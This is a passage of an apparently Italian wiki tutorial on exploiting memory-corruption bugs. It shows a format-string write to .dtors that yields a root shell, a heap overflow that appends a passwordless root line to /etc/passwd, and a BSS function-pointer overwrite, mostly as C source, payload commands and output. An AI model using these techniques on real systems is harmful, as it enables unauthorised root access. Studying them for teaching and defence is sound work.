CONTENTS, ALLOC, LOAD, READONLY, DATA 15 .ctors 00000008 080495ac 080495ac 000005ac 2**2 CONTENTS, ALLOC, LOAD, DATA 16 .dtors 00000008 080495b4 080495b4 000005b4 2**2 CONTENTS, ALLOC, LOAD, DATA 17 .jcr 00000004 080495bc 080495bc 000005bc 2**2 CONTENTS, ALLOC, LOAD, DATA 18 .dynamic 000000c8 080495c0 080495c0 000005c0 2**2 CONTENTS, ALLOC, LOAD, DATA 19 .got 00000004 08049688 08049688 00000688 2**2 CONTENTS, ALLOC, LOAD, DATA 20 .got.plt 0000001c 0804968c 0804968c 0000068c 2**2 CONTENTS, ALLOC, LOAD, DATA 21 .data 00000010 080496a8 080496a8 000006a8 2**2 CONTENTS, ALLOC, LOAD, DATA 22 .bss 00000004 080496b8 080496b8 000006b8 2**2 ALLOC 23 .comment 0000007e 00000000 00000000 000006b8 2**0 CONTENTS, READONLY 24 .debug_aranges 00000078 00000000 00000000 00000738 2**3 CONTENTS, READONLY, DEBUGGING 25 .debug_pubnames 00000025 00000000 00000000 000007b0 2**0 CONTENTS, READONLY, DEBUGGING 26 .debug_info 000009ca 00000000 00000000 000007d5 2**0 CONTENTS, READONLY, DEBUGGING 27 .debug_abbrev 00000138 00000000 00000000 0000119f 2**0 CONTENTS, READONLY, DEBUGGING 28 .debug_line 0000023a 00000000 00000000 000012d7 2**0 CONTENTS, READONLY, DEBUGGING 29 .debug_str 00000674 00000000 00000000 00001511 2**0 CONTENTS, READONLY, DEBUGGING
Come si può vedere la sezione .dtors non è marcata READONLY. Ora ci dobbiamo procurare l' indirizzo di questa funzione. Possiamo farlo con un' altra utility di linux: nm Questa mostra la lista dei simboli e relativi indirizzi di un file oggetto.
root@ska:~# nm ./frm_vuln | grep DTOR 080495b8 d __DTOR_END__ 080495b4 d __DTOR_LIST__
Siamo interessati all' indirizzo più alto dei due, quello di __DTOR_END__. Qui dovremo scrivere il nostro indirizzo arbitrario, in modo che all' uscita dal main, quando il programma chiama la funzione distruttore sulla exit, salti al nostro codice. Ma dove possiamo mettere il nostro codice in modo da trovare facilmente l' indirizzo? In una variabile d' ambiente per esempio. Supponiamo di usare lo shellcode già utilizzato nell' exploit relativo al buffer overflow possiamo inserirlo in una variabile d' ambiente con:
root@ska:~# export SHELLCODE=`cat shellcode` root@ska:~# ./getenvaddr SHELLCODE SHELLCODE is located in : 0xbffffa41
A questo indirizzo bisogna aggiungere 4, sempre per il fatto che getenvaddr e frm_vulm, nei nomi, si differiscono di due byte ( si è visto che l' indirizzo della variabile d' ambiente diminuisce di due per ogni aumento di un carattere nel nome ), quindi l' indirizzo che dovremmo ottenere sarà: 0xbffffa45
root@ska:~# ./frm_vuln `printf "\xb8\x95\x04\x08\xb9\x95\x04\x08\xba\x95\x04\x08 \xbb\x95\x04\x08"`%3\$53x%4\$n%3\$181x%5\$n%3\$261x%6\$n%3\$192x%7\$n 40133ff4 40133ff4 40133ff4 40133ff4 80496b4 = -72 ffffffb8 sh:~#
Abbiamo ottenuto una shell di root sovrascrivendo l' indirizzo della sezione .dtors
Heap overflow
L' Heap overflow è una scoperta più recente rispetto all' overflow riguardante lo stack,e riguarda appunto l' area dell' heap, cioè dove vengono allocate le variabili puntatore. Il punto fondamentale è sempre lo stesso: su una variabile sulla quale non è stato previsto un controllo sulla dimensione, è possibile mettere più dati di quelli che questa possa contenere, andando a sovrascrivere altre aree di memoria. In questo caso, però, abbiamo a che fare con il puntatore alla variabile. Se un puntatore di funzione viene memorizzato dopo un buffer suscettibile di overflow, esso può essere sovrascritto, in modo da fare eseguire al programma un indirizzo di memoria differente.
Esempio di vulnerabilità
Consideriamo il seguente sorgente:
#include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]){ FILE *fp; char *infile = malloc(20); char *outfile = malloc(20); strcpy(outfile,"/root/notes"); strcpy(infile,argv[1]); printf("INFILE @ %p: %s\n",infile,infile); printf("OUTFILE @ %p: %s\n",outfile,outfile); printf("DISTANCE : %d\n",outfile - infile); printf("write %s to %s\n",infile,outfile); fp = fopen(outfile,"a"); fprintf(fp,"%s\n",infile); fclose(fp); return 0; }
Questo è un semplice programmino che creà un il file notes e gli scrive dentro la stringa passatagli come argomento da linea di comando. Il problema sta nel primo puntatore a carattere ( infile ), infatti andando a scrivere piu di 20 byte da linea di comando si andrà a scrivere su infile, e i byte in eccesso saranno scritti su outfile che è il nome del file. Quindi, ad esempio, mettendo un argomento fatto ad arte, da linea di comando sarebbe possibile aggiungere qualcosa al file /etc/passwd ... Proviamo a mandare in esecuzione il programma di sopra passandogli 20 byte:
root@localhost:~# ./heap_vuln 01234567890123456789 INFILE @ 0x8049880: 01234567890123456789 OUTFILE @ 0x8049898: /root/notes DISTANCE : 24 write 01234567890123456789 to /root/notes
come si può vedere tra infile e outfile ci sono 24 bit di differenza, quindi, considerando che la stringa deve terminare con il byte null, affinchè si abbia un funzionamento corretto del programma si può fornire come input un massimo di 23 byte. Mettendone 24 invece si otterrà lo straripamento del byte null su outfile.
root@localhost:~# ./heap_vuln 012345678901234567890123 INFILE @ 0x8049880: 012345678901234567890123 OUTFILE @ 0x8049898: DISTANCE : 24 write 012345678901234567890123 Segmentation fault
Si ottiene un Segmentation fault, perchè, come detto prima, il buffer outfile è rapresentato dal solo byte null, che non si può aprire come file.
Profit
Vediamo ora come si può sfruttare questa vulnerabilità. Supponiamo ad esempio di voler aggiungere una riga al file /etc/passwd per aggiungere un utente root ( naturalmente tutto questo discorso è valido se il programma vulnerabile è suid ) che abbia l' accesso senza la richiesta di password. Quello che vogliamo fare è costruirci l' argomento da linea di comando. Proviamo ad eseguire il programma in questo modo:
root@localhost:~# ./heap_vuln 012345678901234567890123/root/prova.txt INFILE @ 0x8049880: 012345678901234567890123/root/prova.txt OUTFILE @ 0x8049898: /root/prova.txt DISTANCE : 24 write 012345678901234567890123/root/prova.txt to /root/prova.txt
In questo modo siamo riusciti a creare il file /root/prova.txt e a scrivere la stringa 012345678901234567890123/root/prova.txt dentro ad esso, che non era proprio l' obiettivo per il quale era stato fatto il programmino. Ma noi siamo interessati a scrivere su /etc/passwd una stringa del tipo:
root::0:0:ska:/root/:/bin/bash
Tra i due duepunti consecutivi di solito sarebbe presente una 'x' che indica che la password è criptata e memorizzata in un altro file: file shadow. Purtroppo non possiamo scrivere una stringa del genere, perchè l' argomento che dobbiamo passare deve essere /etc/passwd, ma in questo modo rischieremmo di scrivere nel file /etc/passwd qualcosa del tipo:
root::0:0:ska:/root/:/bin/bash/etc/passwd
che sarebbe scoretto è non utilizzabile. Quindi abbiamo bisogno di un espediente per aggirare il problema. Possiamo fare questo utilizzando un link simbolico in modo che la voce che andremo a scrivere sul file passwd possa finire con /etc/passwd senza risultare inutilizzabile.
root@localhost:~# mkdir /tmp/etc root@localhost:~# ln -s /bin/bash /tmp/etc/passwd
ora possiamo utilizzare senza alcun problema la stringa:
newroot::0:0:ska:/root/:/tmp/etc/passwd
Dobbiamo considerare solo un ultimo problema è cioè che la stringa:
newroot::0:0:ska/root/:/tmp
deve risultare di 24 bit, controlliamo:
root@localhost:~# echo -n "newroot::0:0:ska:/root/:/tmp" | wc 0 1 26
dobbiamo levare 2 byte dalla stringa:
root@localhost:~# ./heap_vuln xroot::0:0:ska:/root/:/tmp INFILE @ 0x8049880 : newroot::0:0:ska:/root/:/tmp/etc/passwd OUTFILE @ 0x8049898 : /etc/passwd DISTANCE : 24 write xroot::0:0:ska:/root/:/tmp/etc/passwd to /etc/passwd
Siamo riusciti ad aggiungere al file passwd una voce valida che permette di accedere con i privileggi di root senza password.
BSS overflow
In questa sezione è trattato l' overflow nella sezione BSS, cioè l' area in cui vengono messe le variabili static e/o non inizializzate del programma. Supponiamo ad esempio di avere il seguente sorgente:
#include <stdio.h> int work(); int nowork(); int work(){ char welcome[] = "WELCOME, I WORK"; printf("%s\n",welcome); return 0; } int nowork(){ char test[] = "HEY, I DON'T WORK!!!"; printf("%s\n",test); return 0; } int main(int argc, char *argv[]){ static char buffer[20]; static int (*victim)(); victim=work; printf("Before strcpy() %p:%p\n",&victim,victim); strcpy(buffer,argv[1]); printf("Buffer %p:%s\n",buffer,buffer); printf("After strcpy() %p:%p\n",&victim,victim); victim(); return 0; }
Il problema in questo caso nasce dal buffer dichiarato in modo statico situato prima del puntatore anch' esso dichiarato in modo statico. Quindi essendo entrambi statici e non inizializzati, si troveranno nell' area BSS.
Sfruttare la vulnerbilità
Naturalmente l' esempio visto nell' introduzione è un semplice programma fatto ad-hoc per studiare il problema. Sostanzialmente, ci sono due funzioni "work" e "nowork", la prima delle quale viene richiamata nel main tramite il puntatore a funzione victim, mentre la seconda funzione non viene richiamata in nessun posto. Il nostro scopo è appunto cercare di far eseguire questa funzione anche se non è stata previsto nel programma. Proviamo a far eseguire il programma:
root@localhost:~# ./bss_vuln AAAAAAAAAAAAAAAAAAAA Before strcpy() 0x8049760:0x080483c4 Buffer 0x0804974c:AAAAAAAAAAAAAAAAAAAA After strcpy() 0x08049760:0x080483c4 WELCOME, I WORK
come si può vedere dalle istruzioni di debug inserite nel programma, sipuò vedere che buffer è distanziato dal puntatore a funzione di 20 byte. Quindi se proviamo ad inserire più di 20 byte ( più della capacità del buffer ) si sovrascriverà il puntatore a funzione. Vediamo:
root@localhost:~# ./bss_vuln AAAAAAAAAAAAAAAAAAAAABCD Before strcpy() 0x08049760:0x080483c4 Buffer 0x0804974c:AAAAAAAAAAAAAAAAAAAAABCD After strcpy() 0x08049760:0x44434241 Segmentation fault
Si può vedere che il valore del puntatore non è più 0x080483c4, ma 0x44434241, cioè è stato sovrascritto con il codice esadecimale di ABCD che vengono messi in modo inverso a causa dell' ordinamento little endian, e che naturalmente causano un segmentation fault visto che 0x44434241 non è un indirizzo valido. Proviamo allora con un indirizzo valido. Per fare questo cerchiamo di individuare l' indirizzo della funzione "nowork" con l' utility nm:
root@localhost:~# nm bss_vuln 08049658 D _DYNAMIC 08049724 D _GLOBAL_OFFSET_TABLE_ 080485e0 R _IO_stdin_used w _Jv_RegisterClasses 08049648 d __CTOR_END__ 08049644 d __CTOR_LIST__ 08049650 d __DTOR_END__ 0804964c d __DTOR_LIST__ 08048640 r __FRAME_END__ 08049654 d __JCR_END__ 08049654 d __JCR_LIST__ 08049748 A __bss_start 0804973c D __data_start 08048590 t __do_global_ctors_aux 08048350 t __do_global_dtors_aux 08049740 D __dso_handle 08049644 A __fini_array_end 08049644 A __fini_array_start w __gmon_start__ 08048580 T __i686.get_pc_thunk.bx 08049644 A __init_array_end 08049644 A __init_array_start 08048530 T __libc_csu_fini 080484d0 T __libc_csu_init U __libc_start_main@@GLIBC_2.0 08049748 A _edata 08049764 A _end 080485c0 T _fini 080485dc R _fp_hw 080482a0 T _init 08048300 T _start 0804974c b buffer.0 08048324 t call_gmon_start 08049748 b completed.1 0804973c W data_start 08048390 t frame_dummy 08048440 T main 08048405 T nowork 08049744 d p.0 U printf@@GLIBC_2.0 U strcpy@@GLIBC_2.0 08049760 b victim.1 080483c4 T work
L' indirizzo della funzione nowork è 0x08048405, quindi sovrascrivendo il valore del puntatore con questo indirizzo otterremo l' esecuzione della funzione nowork, anzichè di work.
root@localhost:~# .bss_vuln AAAAAAAAAAAAAAAAAAAA'printf "\x05\x84\x04\x08"' Before strcpy() 0x08049760:0x080483c4 Buffer 0x0804974c:AAAAAAAAAAAAAAAAAAAA After strcpy() 0x08049760:0x08048405 HEY, I DON'T WORK!!!
Siamo riusciti a far eseguire al programma una funzione per la quale non era prevista l' esecuzione, cioè siamo riusciti a redirezzionare il flusso del programma. Tutto questo si potrebbe sfruttare anche per far eseguire al programma vulnerabile una shell, infatti, come nel caso visto per il format string, si potrebbe mettere uno shellcode in una variabile di ambiente, individuare il suo indirizzo e sovrascrivere con questo il contenuto del puntatore.
Tools
Exploit Generator
Con questo tool [1] si può generare un exploit semplicemente.
- Help:Advanced templates
- Help:Calculation
- Help:Colon function
- Help:Parameter default
- Help:Magic words
- Help:Substitution
- Help:Template documentation
- Help:Variable
- Help:What links here
- MediaWiki help templates
- List of all templates on this server
- Templates of Wikimedia projects
- w:Wikipedia:Template namespace
- DynamicFunctions##arg: - instead of including a page for given parameter values, this allows linking to a page for given parameter values. Syntax for parameter use: {{arg:parameter name|default}}. Syntax for linking: external link style with "¶meter name=parameter value" added to the URL.